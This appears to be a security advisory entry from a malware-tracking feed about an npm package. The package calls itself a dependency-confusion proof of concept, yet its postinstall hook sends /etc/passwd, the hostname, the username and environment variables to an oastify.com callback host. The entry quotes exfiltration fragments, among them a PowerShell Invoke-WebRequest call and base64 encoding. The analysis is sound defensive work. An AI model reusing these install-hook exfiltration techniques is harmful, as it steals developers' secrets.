GCVE-110-OSM-2026-10521

This package self-identifies as a dependency confusion proof-of-concept by 'awais0x1 bugcrowd' in its description, and the proof file written to disk is named 'dep-conf-poc-heloo131313.txt', strongly suggesting a bug bounty exercise rather than a criminal attack. However, the code is fully functional malware: it exfiltrates /etc/passwd contents, hostname, username, environment variables, and process metadata via six distinct channels (curl POST, DNS base64 exfil, HTTPS/HTTP POST, ICMP ping, Windows PowerShell GET) to the OAST callback host 727l3zqv7uomthr4hctkk9b72y8pwfk4.oastify.com. The publisher 'bugkiller0x1' has a 0.75 malicious ratio with three other packages already reported as critical malware, which conflicts with a clean bug-bounty researcher profile. Per adjudication rules, self-identified security test packages should be treated as suspicious-but-benign and not submitted to OSM to avoid database pollution. ENTRY index.js (install-hook: node index.js > /dev/null 2>&1; exit 0) - Install Hook Executes Local JS File in package.json - Postinstall Script in package.json DESTINATION - 2 exfil (reconstructed, custom-c2) (values recorded in verified_iocs) EXFIL - Sensitive File Access in index.js: ""/etc/passwd"" - OAST/Interactsh Exfiltration in index.js: "oastify.com" - System Information Exfiltration in index.js: "os.hostname() } }); req.write(payload); req.end(); } catch (e) { // HTTP fallbac..." - HTTP Data Exfiltration in index.js: "os.hostname(), user: (os.userInfo() || {}).username }); const req = http.request" - Data Encoding for Exfiltration in index.js: "Buffer.from(exfil).toString("base64")" - Network Request in index.js: "https.request(" - System Information Collection in index.js: "os.userInfo()" - Suspicious Domain in index.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Shell Command Execution in index.js: "require("child_process")" - Platform Detection with Data Collection in index.js: "JSON.stringify({ package: PACKAGE_NAME, hostname: os.hostname(), user: (os" - Suspicious URL Pattern in Template Literal in index.js: "powershell -Command "Invoke-WebRequest -Uri http://727l3zqv7uomthr4hctkk9b72y8pw..." - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern PAYLOAD FILES index.js